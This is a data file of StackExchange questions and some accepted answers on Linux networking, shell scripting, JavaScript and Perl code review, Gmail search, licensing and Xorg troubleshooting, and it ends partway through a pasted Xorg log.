{  "id": "_unix.136282"  , "question": "For an embedded Linux system, if I have two or more network interfaces, how do I ensure that they always get the same interface names every bootIn other words, I want, for example, eth0 to always map to one physical Ethernet port, eth1 to the next, etc.My Linux distribution is home-grown, and I use devtmpfs for populating /dev.  I use busybox for init (and most everything else), along with custom init scripts for system startup and shutdown.I do not need hotplug facilities of mdev or udev -- I'm referring to fixed Ethernet ports."  , "title": "How do you ensure physical network interfaces always get the same interface name across reboots on an embedded Linux system?"  , "tags": "linux;networking;embedded;ethernet"  , "accepted_answer": "This works for me with Linux 3.9.0 on an x86_64 architecture.#!/bin/sh# This assumes the interfaces come up with default names of eth*.# The interface names may not be correct at this point, however.# This is just a way to get the PCI addresses of all the active# interfaces.PCIADDRLIST=for dir in /sys/class/net/eth* ; do  [ -e $dir/device ] && {    PCIADDRLIST=`readlink -f $dir/device` ${PCIADDRLIST}  }done# Now assign the interface names from an ordered list that maps# to the PCI addresses of each interface.# IFNAMES could come from some config file.  dummy is needed because of# my limited tr- and awk-fu.IFNAMES=eth0 eth1 eth2 dummyfor dir in `echo ${PCIADDRLIST} | tr   \\n | sort` ; do  [ -e $dir/net/*/address ] && {    MACADDR=`cat $dir/net/*/address`    IFNAME=`echo $IFNAMES | awk '{print $1}'`    IFNAMES=`echo $IFNAMES | awk '{ for (i=2; i<=NF; i++) printf %s , $i; }'`    echo -n $IFNAME     nameif $IFNAME mac=$MACADDR  }done"  } 
{  "id": "_webmaster.28292"  , "question": "I am trying to find a Content Mangement/social interaction script that requires a person to be a part of a group. Specifically:My daughter is a cheerleader and there are a number of cheer groups she is involved in and also has friends in many others. A lot of them could use some kind of website where they can share information between their team members and coach. The coach being the controller of the group and who can join etc. Group Leader? One can only join the group if invited or given a password or some such security. There would be multipel groups or in this case multiple cheer squads who were registered as groups and the cheerleaders a part of their group. The coach or group leader would have control of the group calender and they may have their own calendars and be messaging between them and/or other social interactions. IN a perfect world they could modify their own pages individualy. Communication could go globally or only to the group and a friends or buddy system. I think you get the idea. I really like  OCportal and what it does and can do but it does not have the group funcitionality I am looking for. Perhaps I am just going to need to see about getting  aprogrammer to write an add on for me if ther is nothing like this out there. But if you know of any I would appreciate being pointed in that direction. "  , "title": "I am looking for a script where users can create groups cms/social interaction site"  , "tags": "looking for a script;content;social networks"  } 
{  "id": "_codereview.84988"  , "question": "The following code reads a file, splits its data, replaces some characters in the data, and then joins the data again (I added more details in the comments):// read plain text file and make content available in datafs.readFile(filename, 'utf8', function(err, data) {  if (err) throw err  // turn the data into an array  data = data.split('\\n\\n')  // make a clone of the array to be used in the if statements.  var tree = data.slice()  for (var i = 0; i < tree.length; ++i) {    // turn #s into heading tags if #s are present    if (tree[i].match(/^#/g)) {      data[i] = data[i]        .replace(/^#### (.*)/gm, '<h4>$1</h4>')        .replace(/^### (.*)/gm, '<h3>$1</h3>')        .replace(/^## (.*)/gm, '<h2>$1</h2>')        .replace(/^# (.*)/gm, '<h1>$1</h1>')    }    // smarten  or ' if present    if (tree[i].match(/|'/g)) {      data[i] = data[i]        .replace(/(?=\\b|\\*|')/g, '')        .replace(/(?!\\b|\\*|')/g, '')        .replace(/'(?!\\b|\\*)|(?=\\b)'(?=\\b)/g, '')        .replace(/'(?=\\b|\\*)/g, '')    }    // turn -- into  if present    if (tree[i].match(/--/g)) {      data[i] = data[i]        .replace(/\\b--(\\b)*/g, '')    }    // turn * or ** into italics and bold if present    if (tree[i].match(/\\*\\*|\\*/g)) {      data[i] = data[i]        .replace(/\\*\\*([^\\*|\\s]+)\\*\\*/g, '<strong>$1</strong>')        .replace(/\\*([^\\*|\\s]+)\\*/g, '<em>$1</em>')    }    // surround every element with p tags if the     // element doesn't start with an #. Also if the previous element of    // the element is # or * * * add the p tag with the class ni     if (tree[i].match(/^[^#]/g)) {      if (tree[i - 1] && (tree[i - 1].match(/^#/g) || tree[i - 1] === * * *)) {        data[i] = '<p class=ni>' + data[i] + '</p>'      } else {        data[i] = '<p>' + data[i] + '</p>'      }    }  }  // lastly, put the array together again to the saved as HTML  data = data.join('\\n\\n')  saveHtml(data)})Example input:# Title'Single quotes'Double Quotes* * *ParagraphsOutput:<h1>Title</h1><p class=ni>Single quotes</p><p>Double Quotes</p><p>* * *</p><p class=ni>Paragraphs</p>Is there a cleaner way to write those if statements? Or at least create a function so that there is less code in that fs.readFile block?"  , "title": "Converting file from Markdown-like markup into HTML using repeated substitutions"  , "tags": "javascript;strings;regex;io;markdown"  , "accepted_answer": "Here's what I would do (note: in ES6, though it is trivial to convert back to ES5). It doesn't match your code perfectly, but it should get get the point across. Essentially I extract everything out into smaller methods and then have a method that can perform batch replacements. It's not shorter nor really any less complex, but it is (to me) easier to read and follow.Notes:I'd normally comment this like crazy so that I could remember what the regexps do, but in this example I haven't. Almost all of them are your regexp's, and the ones that are different aren't so different that they won't be obvious to you.I prefer HTML Entities for things like double quotes and dashes. I'm not worrying about the p class=ni stuff, but it would be trivial to add.ES6 Code:function massReplace(text, replacementArray) {  let results = text;  for (let [regex, replacement] of replacementArray) {    results = results.replace(regex, replacement);  }  return results;}function transformHeadings(text, orig) {  if (orig.match(/^#{1,6}\\s/)) {    return massReplace(text,                       [ [/^###### (.*)/gm, '<h6>$1</h6>'],                         [/^##### (.*)/gm,  '<h5>$1</h5>'],                         [/^#### (.*)/gm,   '<h4>$1</h4>'],                         [/^### (.*)/gm,    '<h3>$1</h3>'],                         [/^## (.*)/gm,     '<h2>$1</h2>'],                         [/^# (.*)/gm,      '<h1>$1</h1>'] ]                      );  }}function transformQuotes(text, orig) {  if (orig.match(/|'/)) {    return massReplace(text,                       [ [/(?=\\b|\\*|')/g,             '&ldquo;'],                         [/(?!\\b|\\*|')/g,             '&rdquo;'],                         [/'(?!\\b|\\*)|(?=\\b)'(?=\\b)/g, '&lsquo;'],                         [/'(?=\\b|\\*)/g,               '&rsquo;'] ]                      );  }}function transformStyling(text, orig) {  if (orig.match(/\\*\\*|\\*/)) {    return massReplace(text,                        [ [ /\\*\\*([^\\*|\\s]+)\\*\\*/g, '<strong>$1</strong>'],                          [ /\\*([^\\*|\\s]+)\\*/g,     '<em>$1</em>' ] ]);  }}function transformDashes(text, orig) {  if (orig.match(/\\-\\-/)) {    return massReplace (text, [ [ /\\-\\-/g, '&mdash;' ] ]);  }}function transformParagraphs(text, orig) {  if (!orig.match(/^#{1,6} (.*)/)) {    return `<p>${text}</p>`;  }}function transformToHTML(markdownSource) {  let data = markdownSource.split('\\n\\n'),      orig = data.slice(),      transforms = [ transformHeadings, transformQuotes, transformDashes,                      transformStyling, transformParagraphs ];  for (let i = 0, l = orig.length; i < l; ++i) {    for (let transform of transforms) {      let result;      if ((result = transform(data[i], orig[i])) !== undefined) {        data[i] = result;      }    }  }  return data.join('\\n');}NOTE: For engines that don't support destructuring (looking at you, io.js), use this method instead:function massReplace(text, replacementArray) {  let results = text;  for (let replacementArrayItem of replacementArray) {    let regex = replacementArrayItem[0],        replacement = replacementArrayItem[1];    results = results.replace(regex, replacement);  }  return results;}"  } 
{  "id": "_cstheory.5434"  , "question": "I need to translate a training algorithm that involves sums and multiplications of probabilities to actual code. For that I need some sort of scaling procedure that allows me to avoid underflows, that is, misleading 0 probabilities.A typical method is to apply the logs of probabilities but because of the sums this is not readily possible for my case. Another approach I saw in Rabiner's tutorial on HMMs, was his scaling procedure only dependent on t (time) applied to the forward algorithm and (the other way around) the backward algorithm, that when combined cancel each other to obtain the desired trained probabilities.My questionI wonder if there are books or text resources explaining common approaches to tackle the underflow problem that results in working with continuous multiplications of probabilities. Do you know any? I hope I can get some ideas from that."  , "title": "Scaling procedures to address false 0's after multiplying probabilities"  , "tags": "pr.probability;na.numerical analysis"  , "accepted_answer": "A simplee trick (explained here) that let you use the $\\log$ approach even when you must sum probabilities.Problem: $\\log(\\exp(a) + \\exp(b))$ can lead to an underflow, to avoid it you can use this formula:$\\log(x + y) = \\log(x) + \\log(1.0 + \\exp( \\log(y) - \\log(x) ) )$Or use another approach:$\\log(\\exp(a) + \\exp(b)) = \\log( \\exp(a - C) + \\exp(b - C)) + C$Setting $C = \\max(a,b)$For example: $\\log(e^{-120}+e^{-121}) = \\log(e^{-120}(e^0 + e^{-1}))= \\log(e^0+e^{-1})-120$"  } 
{  "id": "_computerscience.1801"  , "question": "Thinking about hybrid raytracing, hence the following question:Suppose I have two solid spheres $s_1$ and $s_2$. We know their centres and radii, and we know that they have some overlapping volume in space.We have a typical 3D graphics setup: assume eye is at the origin, and we are projecting the spheres onto a view plane at $z = f$ for some positive $f$. The spheres are beyond the view plane and don't intersect it.Let $c$ be the circle in space that is points on the surface of both spheres, i.e. the visible (from some angles) 'join' of their overlapping volumes.I want to calculate if any of $c$ is visible when projected onto our view plane. It might not be, if $s_1$ or $s_2$ get completely in the way.Any ideas for approaching this?"  , "title": "Sphere intersection occlusion (for hybrid raytracing)"  , "tags": "raytracing;3d;occlusion"  , "accepted_answer": "Given that I didn't miss anything, you can probably cut this down to a problem in the 2D space. Viewing onto the plane defined by the center points of the spheres and your camera origin, the scene looks like this:The spheres become circles with the center points $C_1$ and $C_2$, and the intersection circle is now only 2 points with only the closer one $P$ being interesting. The camera/eye is arbitrarily set to the point $E$.Calculating if one point on the spheres is visible or not is easy: Simply check whether or not the angles at point $P$ between $E$ and $C_1$ respectively $E$ and $C_2$ are both greater (or equal to) 90 degree1.If $P$ is visible, some part (e.g. at least that point) of the intersection circle is visible. Otherwise the whole intersection circle must be occluded by one of your spheres, namely the one which creates an angle of less than 90 degree.Here is how it looks if $P$ is not visible from $E$:You can clearly see how that point is occluded by the circle around $C_2$ and that the angle between $E$ and $C_2$ in $P$ is less than 90 degree.1 Having an angle of exactly 90 degree means that the line between $E$ and $P$ just touches the respective circle/sphere in point $P$ as a tangent."  } 
{  "id": "_webapps.62881"  , "question": "How can I exclude a given label from a search, effectively finding all the email that do not have that label applied? I've searched Google, SuperUser, and the Gmail Advanced search support page to no avail.Here are the searches I've tried, none of which work:!label:workNOT label:worknot label:work-label:workThe reason this may not be a duplicate: After some more experimentation it seems that the - operator would work, except that it doesn't exclude entire conversations if any one message in the conversation has the label. I need my search to exclude any conversation in which one or more messages has the specified label.How can I achieve this behavior?Per Gianni Di Noia's advice, I tried making a filter that matches emails labeled work and then re-applies the label work. Unfortunately, after some testing with another email account I have I found that this does not work because it is never triggered. Filters are triggered based on the properties of the incoming email, not on the conversation to which Gmail assigns that email. Google warned me of this even before I did my testing:"  , "title": "Exclude label from a Gmail search?"  , "tags": "gmail;gmail labels;gmail search"  } 
{  "id": "_unix.317115"  , "question": "When copying drives on a raid, I used the following command from within each drive I am copying from:find . -print -depth | cpio -pdm /dbb0where dbb0 is the new directory that I want.  From some directories this works, on others it hangs permanently.  The permissions on all drives seem to be fine, I am having trouble figuring out what could theoretically cause this."  , "title": "cpio sometimes hangs up"  , "tags": "command line;find;cpio"  } 
{  "id": "_unix.279876"  , "question": "My question is from Delimiter in word splittingWhy does Bash not respond when I hit Tab key?What other keys  does Bash eat?"  , "title": "Why does bash's readline eat tab?"  , "tags": "bash"  } 
{  "id": "_webapps.69571"  , "question": "I would like to change ownership of a shared Google Calendar that is embedded on our website, however nobody knows who owns the Calendar. How can we determine the owner knowing just the HTML embed code?"  , "title": "How to determine the owner of an embedded Google Calendar?"  , "tags": "google calendar"  } 
{  "id": "_unix.45470"  , "question": "I am trying to set the Java system property jsse.enableSNIExtension to false, but when I try running this java just outputs help information:java -Djsse.enableSNIExtension=false What am I doing wrong?"  , "title": "How to set jsse.enableSNIExtension to false when running Java programs?"  , "tags": "java"  , "accepted_answer": "You forgot the name of the class to run. Normally Java programs are run like this:$ java MainClass$ java -jar foobar.jarYou can use -D to set system properties, but you still need the class or JAR to run:$ java -Djsse.enableSNIExtension=false MainClass$ java -Djsse.enableSNIExtension=false -jar foobar.jarAs far as I know you can't set system properties permanently; even if you did it programmatically it would only be for that run, so you need to keep passing the -D flag each time you run whatever it is that's not working"  } 
{  "id": "_webapps.71265"  , "question": "I signed up for Instagram and it said I already had an account with that email address. I didn't remember signing up but thought maybe I had done it a while ago. I reset my password and logged in.It turned out someone else had signed up using my Gmail address. They had like 2 or 3 pictures posted. I wasn't really sure what to do, since it was my email address they used (its a @gmail.com - I get a decent amount of email for people with my name).The problem is that they linked their Facebook account to Instagram. I also linked my Facebook account. I get notifications of my Facebook friends joining Instagram but it's this other person's Facebook account. In the Instagram app it only shows my Facebook as a linked account. How can I get this other Facebook account detached from my Instagram account?"  , "title": "How do you disconnect Facebook accounts from Instagram?"  , "tags": "facebook;instagram"  } 
{  "id": "_softwareengineering.234747"  , "question": "I'm trying to understand how the Dependency Inversion Principle differs from the program to an interface, not an implementation principle.I understand what Program to an interface, not an implementation means. I also understand how it allows for more flexible and maintainable designs.But I don't understand how the Dependency Inversion Principle is different from the Program to an interface, not an implementation principle.I read about DIP in several places on the web, and it didn't clear up my confusion. I still don't see how the two principles differ from each other. Thanks for your help."  , "title": "Dependency Inversion Principle vs Program to an interface, not an implementation"  , "tags": "design;object oriented;principles"  } 
{  "id": "_softwareengineering.312132"  , "question": "I'm implementing the view transformation part of a graphics pipeline (basically a matrix which translates coordinates from world coordinates to camera coordinates given a camera position and direction).Other than the simple case where the point has the same coordinates if the camera is at [0, 0, 0] pointing towards [0, 0, 1] I can't seem to come up with any obvious test cases. Essentially it seems like there's no way of describing what should happen other than the implementation itself.Any ideas?"  , "title": "How do you write unit tests when you need the implementation to come up with examples?"  , "tags": "graphics"  } 
{  "id": "_unix.1578"  , "question": "I'd like to edit the Grub menu that comes up, to move one line and remove others.I have an Inspiron 1420 that came with Ubuntu 7.10.  When it needed a new drive, I installed Windows 7, the original OS, and then it seemed that 10.04 wanted its own partition.  I probably should have checked exactly what I was doing first (famous last words).What I'd like to do is remove the 7.10 lines entirely, so I can blow away everything in that partition and use it as /home for 10.04.  I'd also like to move the Windows 7 line up to second from the top, so booting in Windows would be a quick two keystrokes rather than following the line all the way down.  Hitting the Grub edit key came up with unclear instructions, and since this is the boot loader I'd kind of rather not screw it up too bad.So, what's the best way to do this?"  , "title": "Editing grub menu"  , "tags": "ubuntu;grub2;grub legacy;boot menu"  } 
{  "id": "_unix.370559"  , "question": "I am trying to create a device that accept input and generate special output. To make it simple, say I want to create a device which accepts any input (like /dev/zero) and writes 00 ff 00 ff 00 ff ... whenever read by another program. Is it possible and easy to be achieved in C or in Python? "  , "title": "How to create a device file and simulate behaviors of the Pseudo-devices?"  , "tags": "python;devices;c"  } 
{  "id": "_vi.8852"  , "question": "In insert mode, when you hit ctrlp on a partially written word, a menu pops up with possible matches for completion.How can I customize those matches ?(I have a ruby-clangc gem that I want to use with the ruby-neovim gem in order to write my completion plugin for C/C++ code)"  , "title": "How to customize the entries in the completion menu?"  , "tags": "vimscript;vimrc;autocompletion;neovim"  , "accepted_answer": "About ctrlp, the doc says:Find previous match for words that start with the  keyword in front of the cursor, looking in places  specified with the 'complete' option.  The found  keyword is inserted in front of the cursor.You can then look at :h'complete'to learn how to modify the behavior of the completion.You'll see that you have several options to make the search of the matchrestricted to the current buffer, using the other loaded buffers or even lookingfor the spell dictionaries.To modify the setting simply add a line like this in your .vimrc:set complete=.,w,b,uNow for your completion plugin what you are looking for is a custom comlete function. Vims allows you to write such a function, for more information you should refer this question and to the doc::h complete-functions:h 'completefunc'I think you might also be interested in reading :h ins-completion which explains how the different completion modes of Vim works. (There are about ten different completion modes used to complete different items, learning them can be long but it should make your completion pretty efficient in the end)"  } 
{  "id": "_softwareengineering.280765"  , "question": "There are three software projects: A, B and C.A is published to anyone and is licensed under GPL.B extends A, is published too, but has no license information or is mistakenly licensed under LGPL. Basically it violates the license of A by not being GPL. Source code of B is still available.C extends B. Can C be published under GPL? Motivation would be A is GPL, any derivative must be GPL too, so B is GPL and C can be GPL too."  , "title": "Can GPL be implied to a derivative work?"  , "tags": "licensing;open source;gpl"  , "accepted_answer": "First off, B is in violation of the GPL on A. But that's not exactly your concern and is irrelevant to the question here (who knows, maybe B got a LGPL license from A on their code so that it may be released under LGPL?).The question is Can you build a GPL piece of software based on LGPL code?  The answer to this is simply yes.The LGPL is less restrictive than the GPL (thus why B is in violation of the license on A unless other provisions were made), but also allows it to be brought back into a GPL project fairly easily.From the LGPL license:Object Code Incorporating Material from Library Header Files.  The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following:a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License.  b) Accompany the object code with a copy of the GNU GPL and this license document.Its part of the license. You can easily build a GPL software based on LGPL code.There are some version differences that you'll have to pay attention to to make sure that the code is licensed in the correct way, under the correct version of the GPL.In the event that there is no license information presented, you do not have the right to extend upon it. B should not have been distributed, but its contributions are not licensed under an open source license. This may have been an internal project that got published or some other event.It is not presented under a license that is compatible with extending with the GPL.  Consider the situation that a company, using GPL software internally (acceptable - not a violation), mistakingly made their repo public.In this case, it is quite possible that the project C is in violation of copyright infringement itself (the material that B added that is not licensed under the GPL as it should not have been distributed in the first place).One cannot force a license on someone else's source. It is either in compliance with the license, or in violation of it.  If it is in violation of it, then as spelled out in the license:You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).A violation of the GPL does not mean that the material is under GPL, but rather that it can't be distributed."  } 
{  "id": "_cogsci.17419"  , "question": "Age is a risk factor for depression when we look at the entire lifespan. Does that hold true in a population of >60 years old?"  , "title": "Does risk of developing depression continue to increase after age 60?"  , "tags": "clinical psychology;depression"  } 
{  "id": "_unix.382993"  , "question": "I have a program that writes to stdout in a batch of text very quickly, but the output doesn't have a specific output that I can write an expect loop for. Example of stdout of my program:[time:here] random text 1[time:here] random text 2[time:here] random text 3[time:here] random text 4[time:here] random text 5[time:here] random text 6[time:here] random text 7Then it waits until I interact with it, and then it writes to stdout again with the same style of text:[time:here] random text 8[time:here] random text 9[time:here] random text 10[time:here] random text 11[time:here] random text 12[time:here] random text 13[time:here] random text 14The stdout is printed very fast, like within milliseconds, and then there's a wait until I interact with it. Once I interact stdout is written again very quick, and it waits. This repeats until I close the program.Between the waits I want to send a command to write to another file what time I interacted with the program at (using echo or something similar).Is there any way I can target the wait and do the echo command after every time there's a wait for my stdout? For example if there's a wait for > than 5 seconds then run the echo command, and wait for stdout to change again?"  , "title": "Run a command based on stdout frequency"  , "tags": "bash;shell script;shell;expect"  , "accepted_answer": "You could use a blocking read with a timeout to determine when output has stopped. For example, Bash's read supports a timeout parameter.  The following script will write a single line if the output from STDIN stops for more than 2 seconds:#!/bin/shwhile read -r firstline; do    while read -r -t 2 line; do        continue    done    echo ---- No data in 2 seconds ----doneThe echo could be re-directed to a different log and the script can be modified to echo the data being read from standard in if desired."  } 
{  "id": "_codereview.60917"  , "question": "I wrote a small perl module that dealing with PHP-ish array structures, and I'm going to release it to CPAN.I want it to be reviewed before the release about the module naming and the code itself.Could you please give me improvements?  Any suggestions are appreciated.https://github.com/ernix/p5-Object-Squashuse strict;use warnings;package Object::Squash;# ABSTRACT: Remove numbered keys from a nested objectuse parent 'Exporter';use List::Util qw/max/;use version; our $VERSION = version->declare(v0.0.1);our @EXPORT_OK = qw(squash);sub squash {    my $obj = shift;    return $obj unless ref $obj;    $obj = _squash_hash($obj);    $obj = _squash_array($obj);    return $obj;}sub _squash_hash {    my $obj = shift;    return $obj unless ref $obj eq 'HASH';    my @keys = keys %{$obj};    if (grep {/\\D/} @keys) {        return +{            map { $_ => squash($obj->{$_}) } @keys,        };    }    my $max = max(@keys) || 0;    my @ar;    for my $i (0 .. $max) {        push @ar, sub {            return (undef) unless exists $obj->{$i};            return squash($obj->{$i});        }->();    }    return \\@ar;}sub _squash_array {    my $obj = shift;    return $obj unless ref $obj eq 'ARRAY';    return (undef) if @{$obj} == 0;    $obj = squash($obj->[0]) if @{$obj} == 1;    return $obj;}1;__END__=head1 NAMEObject::Squash - Remove numbered keys from a nested object=head1 DESCRIPTIONThis package provides B<squash> subroutine to simplify hash/array structures.I sometimes want to walk through a data structure that consists only of a bunchof nested hashes, even if some of them should be treated as arrays or singlevalues.  This module removes numbered keys from a hash.=head1 SYNOPSIS=head2 C<squash>    use Object::Squash qw(squash);    my $hash = squash(+{        foo => +{            '0' => 'nested',            '1' => 'numbered',            '2' => 'hash',            '3' => 'structures',        },        bar => +{            '0' => 'obviously a single value',        },    });$hash now turns to:    +{        foo => [            'nested',            'numbered',            'hash',            'structures',        ],        bar => 'obviously a single value',    };=head1 AUTHORShin Kojima <shin@kojima.org>=head1 LICENSEThis program is free software; you can redistribute it and/ormodify it under the same terms as Perl itself."  , "title": "Perl module to deal with numbered nested objects"  , "tags": "perl"  , "accepted_answer": "Just a few remarks about parts which poke the eye,    push @ar, sub {        return (undef) unless exists $obj->{$i};        return squash($obj->{$i});    }->();introduces unnecessary subroutine call/overhead which can be replaced with do {} block, or even simpler,    push @ar, exists $obj->{$i} ? squash($obj->{$i}) : undef;This one is only matter of taste, soreturn $obj unless ref $obj eq 'HASH';could also be written asreturn $obj if ref $obj ne 'HASH';Usually you don't have to explicitly return undef, as in list context you may end up with list one element long, and that might not be what is intended. Instead just return; or return (); will produce empty list, or undef in scalar context. Soreturn (undef) if @{$obj} == 0;could be better asreturn () if @{$obj} == 0;or perhaps,@$obj or return;"  } 
{  "id": "_webapps.104887"  , "question": "I have two project spaces that have similarly-structured applications. I would like to copy the reports from my old project space over to my new project space so that I can adapt them for use in my new project."  , "title": "Is it possible to copy CommCare reports from one project space to another?"  , "tags": "commcare"  } 
{  "id": "_unix.323439"  , "question": "Yesterday, my xorg was working but it was using integrated graphics. I tried to get nvidia working. Now, when I run startx, I get a screen on tty3 which shows the output of the last tty I was in. For example, I hit ctrl+alt+f1, type startx and am moved to tty3 where I get a black screen with a solid cursor. If I go back to tty0 I can see the output of startx which shows no errors (besides minor gtk css warning) and a blinking cursor. When I go back to tty3, I see the same thing with a solid cursor.Info:uname -a:Linux Hermes 4.8.7-1-ARCH #1 SMP PREEMPT Mon Nov 15 10:14:30 CET 2016 x86_64 GNU/Linux.xinitrc:if [ -d /etc/X11/xinit/xinitrc.d ] ; then    for f in /etc/X11/xinit/xinitrc.d/?*.sh ; do        [ -x $f ] && . $f    done    unset fficonky &exec startxfce4/var/log/Xorg.0.log:[  1743.684] X.Org X Server 1.18.4Release Date: 2016-07-19[  1743.684] X Protocol Version 11, Revision 0[  1743.684] Build Operating System: Linux 4.5.4-1-ARCH x86_64 [  1743.684] Current Operating System: Linux Hermes 4.8.7-1-ARCH #1 SMP PREEMPT Thu Nov 10 17:22:48 CET 2016 x86_64[  1743.684] Kernel command line: \\vmlinuz-linux ro root=UUID=1d746b96-3184-49ac-a204-0f9deda59c87 pci=nomsi initrd=\\initramfs-linux.img[  1743.684] Build Date: 19 July 2016  05:54:24PM[  1743.684]  [  1743.684] Current version of pixman: 0.34.0[  1743.684]    Before reporting problems, check http://wiki.x.org    to make sure that you have the latest version.[  1743.684] Markers: (--) probed, (**) from config file, (==) default setting,    (++) from command line, (!!) notice, (II) informational,    (WW) warning, (EE) error, (NI) not implemented, (??) unknown.[  1743.684] (==) Log file: /var/log/Xorg.0.log, Time: Tue Nov 15 10:24:19 2016[  1743.684] (==) Using config file: /etc/X11/xorg.conf[  1743.684] (==) Using system config directory /usr/share/X11/xorg.conf.d[  1743.684] (==) ServerLayout Layout0[  1743.684] (**) |-->Screen Screen0 (0)[  1743.684] (**) |   |-->Monitor <default monitor>[  1743.684] (==) No device specified for screen Screen0.    Using the first device section listed.[  1743.684] (**) |   |-->Device DiscreteNvidia[  1743.684] (==) No monitor specified for screen Screen0.    Using a default monitor configuration.[  1743.684] (**) |-->Input Device Keyboard0[  1743.684] (**) |-->Input Device Mouse0[  1743.684] (==) Automatically adding devices[  1743.684] (==) Automatically enabling devices[  1743.684] (==) Automatically adding GPU devices[  1743.684] (==) Max clients allowed: 256, resource mask: 0x1fffff[  1743.684] (WW) The directory /usr/share/fonts/Type1/ does not exist.[  1743.684]    Entry deleted from font path.[  1743.684] (==) FontPath set to:    /usr/share/fonts/misc/,    /usr/share/fonts/TTF/,    /usr/share/fonts/OTF/,    /usr/share/fonts/100dpi/,    /usr/share/fonts/75dpi/[  1743.684] (==) ModulePath set to /usr/lib/xorg/modules[  1743.684] (WW) Hotplugging is on, devices using drivers 'kbd', 'mouse' or 'vmmouse' will be disabled.[  1743.684] (WW) Disabling Keyboard0[  1743.684] (WW) Disabling Mouse0[  1743.684] (II) Loader magic: 0x821d40[  1743.684] (II) Module ABI versions:[  1743.684]    X.Org ANSI C Emulation: 0.4[  1743.684]    X.Org Video Driver: 20.0[  1743.684]    X.Org XInput driver : 22.1[  1743.684]    X.Org Server Extension : 9.0[  1743.685] (--) using VT number 7[  1743.685] (II) systemd-logind: logind integration requires -keeptty and -keeptty was not provided, disabling logind integration[  1743.686] (II) xfree86: Adding drm device (/dev/dri/card1)[  1743.686] (II) xfree86: Adding drm device (/dev/dri/card0)[  1743.704] (--) PCI:*(0:0:2:0) 8086:191b:1462:115a rev 6, Mem @ 0xdd000000/16777216, 0xb0000000/268435456, I/O @ 0x0000f000/64, BIOS @ 0x????????/131072[  1743.704] (--) PCI: (0:1:0:0) 10de:139b:1462:115a rev 162, Mem @ 0xde000000/16777216, 0xc0000000/268435456, 0xd0000000/33554432, I/O @ 0x0000e000/128, BIOS @ 0x????????/524288[  1743.704] (WW) Open ACPI failed (/var/run/acpid.socket) (No such file or directory)[  1743.704] (II) LoadModule: glx[  1743.705] (II) Loading /usr/lib/xorg/modules/extensions/libglx.so[  1743.710] (II) Module glx: vendor=NVIDIA Corporation[  1743.710]    compiled for 4.0.2, module version = 1.0.0[  1743.710]    Module class: X.Org Server Extension[  1743.710] (II) NVIDIA GLX Module  375.10  Fri Oct 14 10:01:22 PDT 2016[  1743.710] (II) LoadModule: nvidia[  1743.710] (II) Loading /usr/lib/xorg/modules/drivers/nvidia_drv.so[  1743.710] (II) Module nvidia: vendor=NVIDIA Corporation[  1743.710]    compiled for 4.0.2, module version = 1.0.0[  1743.710]    Module class: X.Org Video Driver[  1743.710] (II) NVIDIA dlloader X Driver  375.10  Fri Oct 14 09:38:17 PDT 2016[  1743.710] (II) NVIDIA Unified Driver for all Supported NVIDIA GPUs[  1743.739] (II) Loading sub module fb[  1743.739] (II) LoadModule: fb[  1743.739] (II) Loading /usr/lib/xorg/modules/libfb.so[  1743.739] (II) Module fb: vendor=X.Org Foundation[  1743.739]    compiled for 1.18.4, module version = 1.0.0[  1743.739]    ABI class: X.Org ANSI C Emulation, version 0.4[  1743.739] (II) Loading sub module wfb[  1743.739] (II) LoadModule: wfb[  1743.739] (II) Loading /usr/lib/xorg/modules/libwfb.so[  1743.739] (II) Module wfb: vendor=X.Org Foundation[  1743.739]    compiled for 1.18.4, module version = 1.0.0[  1743.739]    ABI class: X.Org ANSI C Emulation, version 0.4[  1743.739] (II) Loading sub module ramdac[  1743.739] (II) LoadModule: ramdac[  1743.739] (II) Module ramdac already built-in[  1743.740] (**) NVIDIA(0): Depth 24, (--) framebuffer bpp 32[  1743.740] (==) NVIDIA(0): RGB weight 888[  1743.740] (==) NVIDIA(0): Default visual is TrueColor[  1743.740] (==) NVIDIA(0): Using gamma correction (1.0, 1.0, 1.0)[  1743.740] (**) NVIDIA(0): Enabling 2D acceleration[  1744.067] (II) NVIDIA(0): NVIDIA GPU GeForce GTX 960M (GM107-A) at PCI:1:0:0 (GPU-0)[  1744.067] (--) NVIDIA(0): Memory: 2097152 kBytes[  1744.067] (--) NVIDIA(0): VideoBIOS: 82.07.94.00.0e[  1744.067] (II) NVIDIA(0): Detected PCI Express Link width: 16X[  1744.067] (II) NVIDIA(0): Validated MetaModes:[  1744.067] (II) NVIDIA(0):     NULL[  1744.067] (II) NVIDIA(0): Virtual screen size determined to be 640 x 480[  1744.067] (WW) NVIDIA(0): Unable to get display device for DPI computation.[  1744.067] (==) NVIDIA(0): DPI set to (75, 75); computed from built-in default[  1744.067] (--) Depth 24 pixmap format is 32 bpp[  1744.068] (II) NVIDIA: Using 12288.00 MB of virtual memory for indirect memory[  1744.068] (II) NVIDIA:     access.[  1744.071] (II) NVIDIA(0): ACPI: failed to connect to the ACPI event daemon; the daemon[  1744.071] (II) NVIDIA(0):     may not be running or the AcpidSocketPath X[  1744.071] (II) NVIDIA(0):     configuration option may not be set correctly.  When the[  1744.071] (II) NVIDIA(0):     ACPI event daemon is available, the NVIDIA X driver will[  1744.071] (II) NVIDIA(0):     try to use it to receive ACPI event notifications.  For[  1744.071] (II) NVIDIA(0):     details, please see the ConnectToAcpid and[  1744.071] (II) NVIDIA(0):     AcpidSocketPath X configuration options in Appendix B: X[  1744.071] (II) NVIDIA(0):     Config Options in the README.[  1744.088] (II) NVIDIA(0): Built-in logo is bigger than the screen.[  1744.088] (II) NVIDIA(0): Setting mode NULL[  1744.092] (==) NVIDIA(0): Disabling shared memory pixmaps[  1744.092] (==) NVIDIA(0): Backing store enabled[  1744.092] (==) NVIDIA(0): Silken mouse enabled[  1744.093] (==) NVIDIA(0): DPMS enabled[  1744.093] (II) Loading sub module dri2[  1744.093] (II) LoadModule: dri2[  1744.093] (II) Module dri2 already built-in[  1744.093] (II) NVIDIA(0): [DRI2] Setup complete[  1744.093] (II) NVIDIA(0): [DRI2]   VDPAU driver: nvidia[  1744.093] (--) RandR disabled[  1744.095] (II) Initializing extension GLX[  1744.095] (II) Indirect GLX disabled.[  1744.145] (II) config/udev: Adding input device Power Button (/dev/input/event4)[  1744.145] (**) Power Button: Applying 